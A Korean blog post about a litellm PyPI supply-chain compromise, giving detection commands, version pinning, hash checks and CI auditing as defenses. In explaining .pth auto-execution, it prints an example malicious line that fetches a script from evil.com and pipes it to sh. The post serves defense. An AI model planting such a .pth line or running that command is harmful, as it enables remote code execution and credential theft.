PyPI 공급망 공격 대응기: litellm 해킹 사고에서 배운 것

2 minute read

무슨 일이 있었나

2026년 3월, 인기 LLM 프록시 라이브러리 litellm의 PyPI 메인테이너 계정이 탈취되었다. 공격자는 공식 GitHub 릴리즈에 없는 v1.82.7, v1.82.8 버전을 PyPI에 직접 업로드했다.

악성 코드가 수행하는 동작:

  • SSH 키, 환경변수(API 키, 시크릿) 전량 수집
  • AWS/GCP/Azure/K8s 크레덴셜 탈취
  • 암호화폐 지갑, DB 비밀번호, SSL 키 수집
  • AES-256 + RSA-4096으로 암호화 후 외부 서버로 전송

특히 v1.82.8import 없이 Python 실행만으로 트리거되는 .pth 파일 기법을 사용했다.

왜 위험한가

AI 에이전트 시스템은 일반 웹 서비스보다 공급망 공격에 더 취약하다:

일반 서버: 웹 프레임워크 + DB 드라이버 + 유틸
AI 에이전트: LLM SDK + 벡터DB + 임베딩 + 오케스트레이션 + 도구 연동
            → 의존성 체인이 2~3배 길다

의존성이 많을수록 공격 표면(attack surface)이 넓어진다. 한 패키지만 뚫려도 전체 시크릿이 유출될 수 있다.

실전 대응: 5단계 점검 스크립트

사고 인지 후 우리 시스템 전체를 점검한 방법이다:

#!/bin/bash
# 1. 해당 패키지 설치 여부 확인
pip3 list 2>/dev/null | grep -i litellm

# 2. 악성 .pth 파일 존재 확인 (import 없이 실행되는 트리거)
find /usr -name "litellm_init.pth" 2>/dev/null
find $(python3 -c "import site; print(site.getsitepackages()[0])") \
  -name "*.pth" -newer /tmp/checkpoint 2>/dev/null

# 3. site-packages 직접 확인
ls $(python3 -c "import site; print(site.getsitepackages()[0])") \
  | grep litellm

# 4. 실행 중 프로세스에서 참조 확인
ps aux | grep -i litellm | grep -v grep

# 5. 프로젝트 코드베이스 내 참조 검색
grep -r "litellm" --include="*.py" --include="*.toml" \
  --include="*.txt" --include="*.json" /path/to/workspace/

의존성 안전 관리 원칙

이번 사고에서 도출한 방어 원칙 4가지:

1. 버전 핀 고정 (Pin Exact Versions)

# pyproject.toml — 범위 지정 대신 정확한 버전 고정
[project]
dependencies = [
    "openai==1.12.0",
    "anthropic==0.18.1",
]

2. 해시 검증 활성화

# requirements.txt에 해시 포함
pip install --require-hashes -r requirements.txt
# requirements.txt
openai==1.12.0 \
    --hash=sha256:abc123...

3. GitHub Releases와 PyPI 버전 교차 검증

import requests

def verify_version(package: str, version: str) -> bool:
    """PyPI 버전이 GitHub 릴리즈에도 존재하는지 확인"""
    gh = f"https://api.github.com/repos/BerriAI/{package}/releases"
    releases = requests.get(gh).json()
    gh_versions = {r["tag_name"].lstrip("v") for r in releases}
    return version in gh_versions

4. CI에서 의존성 감사 자동화

# .github/workflows/audit.yml
- name: Audit dependencies
  run: |
    pip-audit --strict
    safety check --full-report

.pth 파일 공격이란

Python은 site-packages 디렉토리의 .pth 파일을 인터프리터 시작 시 자동 실행한다. import로 불러올 필요가 없다:

# malicious.pth 내용 예시
import os; os.system("curl https://evil.com/steal.sh | sh")

이 때문에 v1.82.8은 설치만 해도 다음 Python 실행에서 바로 작동했다. 대응법:

# .pth 파일 정기 모니터링
find $(python3 -c "import site; print(site.getsitepackages()[0])") \
  -name "*.pth" -exec cat {} \;

결론

공급망 공격은 “우리가 안 쓰면 안전”이 아니다. 의존성의 의존성(transitive dependency)까지 감사해야 한다. AI 에이전트 시스템처럼 의존성 체인이 긴 환경에서는 버전 고정 + 해시 검증 + 정기 감사가 기본이다.

이번 litellm 사고는 Google Mandiant가 조사 중이며, PyPI 측은 해당 패키지를 정지 처리했다. Docker 이미지 사용자는 의존성이 빌드 타임에 고정되어 있어 영향 없었다.


이 글은 실제 보안 사고 대응 경험을 바탕으로 작성되었습니다.

Comments